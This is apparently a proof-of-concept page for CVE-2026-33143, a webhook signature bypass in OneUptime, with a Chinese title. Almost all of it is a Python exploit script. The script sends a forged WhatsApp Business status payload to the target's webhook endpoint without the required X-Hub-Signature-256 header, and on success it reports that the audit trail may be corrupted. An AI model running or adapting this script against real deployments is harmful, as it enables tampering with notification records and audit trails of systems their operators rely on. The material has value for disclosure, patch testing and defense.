CVE-2026-33143: OneUptime Webhook签名绕过漏洞

import requests # Target URL (Replace with actual target) target_url = "https://<oneuptime-domain>/notification/whatsapp/webhook" # Malicious payload to simulate a forged status update # This payload tricks the system into thinking a message was read or failed payload = { "object": "whatsapp_business_account", "entry": [ { "id": "123456789", "changes": [ { "value": { "messaging_product": "whatsapp", "metadata": { "display_phone_number": "15550000000" }, "statuses": [ { "id": "wamid.HBgLNTE1NTUwMDAwMDAgFQIAERgSNDQ4RTA2M0U1RDUyQTc1AA==", "recipient_id": "555555555555", "status": "read", "timestamp": "1710000000" } ] }, "field": "messages" } ] } ] } # Exploit: Send the POST request without the required X-Hub-Signature-256 header # The vulnerability is that the server accepts this unverified payload response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully. Audit trail may be corrupted.") else: print(f"[-] Request failed with status code: {response.status_code}")